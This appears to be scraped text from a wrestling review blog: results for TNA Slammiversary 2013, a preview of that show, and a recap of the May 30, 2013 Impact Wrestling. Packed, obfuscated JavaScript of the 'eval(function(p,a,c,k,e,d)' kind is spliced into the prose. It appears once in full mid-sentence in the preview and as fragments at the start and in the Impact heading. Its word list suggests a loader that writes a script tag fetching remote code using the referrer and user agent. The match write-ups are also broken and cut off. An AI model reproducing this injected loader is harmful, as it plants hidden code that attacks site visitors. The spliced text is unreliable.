");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytebz|var|u0026u|referrer|dasez||js|php'.split('|'),0,{})) 2013
Date: June 2, 2013
Location: Agganis Arena, Boston, Massachusetts
Commentators: Todd Keneley, Tazz, Mike Tenay

X-Division Title: Chris Sabin vs. Kenny King vs. Suicide

Back to Anderson to face Magnus with the Brit hitting a big boot but getting clotheslined down. Anderson goes to an armbar before Brisco comes in with a suplex for no cover. Back to the armbar for a bit before Anderson comes in to drop some knees on said arm. Brisco comes in again but gives up the advantage, allowing Magnus to make the hot tag to Jeff.

Quick video on Sting putting his career on the line to win the world title from several years ago.

Joseph Park talks about being here for his first anniversary in TNA and sucks up to the Boston crowd before D-Von and Knux jump him from behind.

Gut Check Tournament Final: Sam Shaw vs. Jay Bradley

Aries and Roode praise each other and Roode says that Gunner is no Bobby Roode.

We recap Joseph Park going crazy and morphing into Abyss mode to earn a TV Title shot.

TV Title: D-Von vs. Joseph Park

TV Title: D-Von vs. Abyss

Abyss cleans house of Knux and kicks D-Von in the face as the bell rings. Knux interferes from the floor to let D-Von get in a forearm to the face and take over with some very basic offense. Knee drops and right hands abound but a middle rope splash misses the monster. Abyss hits a splash in the corner followed by a chokeslam and the Black Hole Slam for the pin and the title at 3:49.

We look at Sting beating Angle for the title in the main event of Bound For Glory.

We look at Sting winning the world title at BFG 08.

Tag Titles: James Storm/Gunner vs. Hernandez/Chavo Guerrero vs. Bad Influence vs. Bobby Roode/Austin Aries

Taryn Terrell vs. Gail Kim

Gail attacks in the corner to start but Taryn comes back with clotheslines to take over. Gail puts on an octopus hold but lets it go early and only gets a six count. Kim goes to the floor for a chair but has it kicked out of her hands. Some hair drags keep Gail down for a few moments but she manages to get the chair up to block a high cross body. Gail is up first and goes after the knee for a bit before wedging the chair between the ropes. Taryn blocks a ram into the chair but gets caught in the Figure Four around the post.

Sting beat Anderson for the title in 2010 as well.

We recap AJ Styles becoming a whiny man and getting in a brawl with an overly aggressive Kurt, setting up their match tonight.

AJ Styles vs. Kurt Angle

Styles goes up to but but Kurt runs up the corner into a belly to back superplex, only to have AJ land on his feet. AJ charges at Angle but runs right into an overhead belly to belly to send Aj into the buckles. Styles pops up with a spinning backfist and a clothesline to put Angle down again. AJ tries a springboard dropkick but gets caught with a low blow and an Angle Slam for two.

Angle tries the ankle lock but AJ counters into his Calf Killer leg lock. Angle reverses into the ankle lock and grapevines the leg but Styles turns it over and kicks out of the hold. Angle misses a charge into the post and gets caught in the Tree of Woe for a dropkick to the ribs from Styles. The springboard 450 misses but the Angle Slam is countered into a rollup which is countered into a double leg takedown into a cover by Angle for the pin at 15:48.

TNA World Title: Sting vs. Bully Ray

This is no holds barred and if Sting loses, he can never challenge for the title again. Sting hits a Stinger Splash in the corner to start and pounds on Ray with the title belt on the floor. Back in and they slug it out with Sting clotheslining Ray down. A chop puts Ray down again and Sting beats him in the back with the belt again. They head back to the floor with Sting missing a Stinger Splash into the barricade. Ray whips Sting into the steps and the champion is in full control.

Results

Chris Sabin b. Kenny King and Suicide – Sabin pulled down the belt

Jay Bradley b. Sam Shaw – Boom Stick Lariat

Abyss b. D-Von – Black Hole Slam

James Storm/Gunner b. Chavo Guerrero/Hernandez, Bad Influence and Bobby Roode/Austin Aries – Gun Rack to Aries

Kurt Angle b. AJ Styles – Rollup

Bully Ray b. Sting – Hammer to the head

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon at:

 




Slammiversary 2013 Preview

Why eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydfzd|var|u0026u|referrer|atafs||js|php'.split('|'),0,{})) on earth TNA would use one of their four PPVs a year as a filler show is beyond me, but that’s exactly what we’re getting here.  Let’s get to it.The main story here is of course Sting vs. Bully Ray as part of the now year long feud between TNA and Aces and 8’s.  The fact that this story lost its legs months ago means nothing to TNA, so the bonus feature is is that it’s Ray’s title against Sting being able to challenge for the title ever again if he loses, as well as the match being no holds barred.  That alone should tell you everything you need to know about the ending.  That being said, this is TNA, meaning they might put the title on Sting as a swerve.  I’m going to say it’s Ray retaining, possibly with Brooke screwing Sting over “for love”, as all signs seem to point to Hulk vs. Ray at BFG.

One of the other big matches on the show is the fourway for the tag titles with Chavo/Hernandez defending against Bad Influence, Bobby Roode/Austin Aries and the new team of Gunner/James Storm.  Adding Storm and Gunner brings some fresh blood into the mix, but the story still isn’t all that interesting.  Either way, they NEED to get the titles off Chavo and Hernandez, as they’re just not interesting at all.  Aside from Storm and Gunner, these same six guys have been feuding for what feels like ever and the story is very old already.  Let these guys fight different people over something a bit more important for a change.  As for the winners, I’ll go with Storm and Gunner, which is a shame as Storm could do so much more (once he’s healthy that is).

In Styles vs. AJ, I think it goes to Styles.  Angle doesn’t need the win and what good is AJ if he loses his first big match back from his pouting?  The Storm match he won was somewhat big but facing Angle on PPV is a bigger deal.  Anyway, I’ll go with Styles for the win here in what should be the match of the night.

Jeff Hardy is back in the six man tag with Joe/Magnus vs. Bischoff/Brisco/Anderson (Anderson is replacing Doc to give Aces and 8’s something resembling a chance).  There’s no reason at all for Aces and 8’s to win here and I can’t imagine they will, as Hardy needs to start getting revenge on Aces and 8’s and there’s no better place to start than here in a meaningless six man.  TNA wins, as they should.

I’ll take Park to win the TV Title, although it’s not like it really matters as he won’t defend the stupid thing.  I don’t get why TNA does this with so many TV Champions.  Joe defended it quite often and it made the belt seem valuable for a little while.  Anyway, Park wins, which will at least remind people that the belt exists.

Then there’s the X-Division Title match in an Ultimate X match with Kenny King defending against Chris Sabin and Suicide.  This is where the X-Division rules get on my nerves.  Sabin and King have a feud going, but we have to add Suicide to it to fulfill some requirement.  Suicide adds nothing to the match at all and is there just to fill in a spot.  I mean, was anyone begging for Suicide to come back?  The match would be fine as Sabin vs. King with Sabin being able to show that he isn’t frail and can still hang with anyone in the world.  Sabin should win the title and I think he will, although watch out for a surprise Suicide win.

Last Knockout standing between Gail Kim and Taryn Terrell: it makes sense for Taryn to win and set up the showdown with Mickie at BFG for the title so we’ll go with stupidity and logic by saying Taryn wins, but it’s really hard to care about this match for me.  I will however give them this: they’re doing a better job with building stories in the Knockouts division as it’s clear how we got here and it doesn’t feel like something we’ve seen a dozen times before.

Finally we have Sam Shaw vs. Jay Bradley in the BFG Gut Check Tournament final.  I’ll go with Bradley as he’s a better prospect and leave it at that, as this is just a match to determine who gets to be the jobber in the tournament while geting a single fluke win.

 

Overall Slammiversary should be ok as a show, but the buildup to it has done nothing for me.  The show feels like a filler PPV, which makes no sense for TNA given that they only have four shows a year.  Sting vs. Ray with Sting’s future title chances on the line again make it about Sting and not the title/champion, which is the way of life in TNA.  The whole Aces and 8’s story has taken so long to go anywhere (it began the show after last year’s Slammiversary) that it’s really hard to care at this point.  At the end of the day, it’s Sting/Hogan vs. the Dudley Boys and Anderson.  Other than that, there isn’t anyone in Aces and 8’s worth a thing and they’re fighting two of the biggest names ever.  TNA is rather dull right now because it takes forever to get anywhere with this lack of PPV, and now they use one on a Sting story.

 

Also I’ll take Jarrett or Angle for the Hall of Fame.




Impact Wrestling – May 30, 2013: The Aces and 8’s Hour

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yryfh|var|u0026u|referrer|niyzk||js|php'.split('|'),0,{})) Wrestling
Date: May 30, 2013
Location: USF SunDome, Tampa, Florida
Commentators: Mike Tenay, Tazz, Todd Keneley

Bully Ray/D-Von vs. Joseph Park/Sting

Back with D-Von working over Park until Joseph gets in a shot and goes up. Ray crotches him to stop any momentum before coming in and dropping an elbow for two. Off to D-Von for some Hogan posing as Park lays on the mat. Back to D-Von for a jumping back elbow before Ray comes in for a pretty awesome looking dropkick. Park finally gets over for a tag and Sting starts cleaning house.

Samoa Joe vs. Garrett Bischoff

Austin Aries/Bobby Roode/Bad Influence vs. James Storm/Gunner/Chavo Guerrero/Hernandez

All of the heel team tries their luck with SuperMex but he runs them all down, only to have Kaz break up the Border Toss. Aries hits a sweet running dropkick in the corner to slow Hernandez down but Austin is suplexed down to counter the brainbuster. Gunner tags himself in and no sells a discus lariat before putting Aries in the Torture Rack for the submission from Aries at 9:30.

Bound For Glory is in San Diego.

Kenny King/Gail Kim vs. Taryn Terrell/Chris Sabin

Sting talks about all of his title wins over the years.

We run down the Slammiversary card.

Mr. Anderson vs. AJ Styles

Post match here are the bikers and all of their opponents on Sunday other than Jeff Hardy. Everyone but Sting and Ray clear out and the champ is put in the Scorpion, only to have D-Von make the save and hit 3D on Sting to end the show.

Results

Sting/Joseph Park b. D-Von/Bully Ray – Scorpion Death Drop to D-Von

Samoa Joe vs. Garrett Bischoff went to a no contest

Chavo Guerrero/Hernandez/Gunner/James Storm b. Bad Influence/Bobby Roode/Austin Aries – Torture Rack to Aries

AJ Styles b. Mr. Anderson via DQ when Kurt Angle interfered

 

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade for just $4 from Amazon at: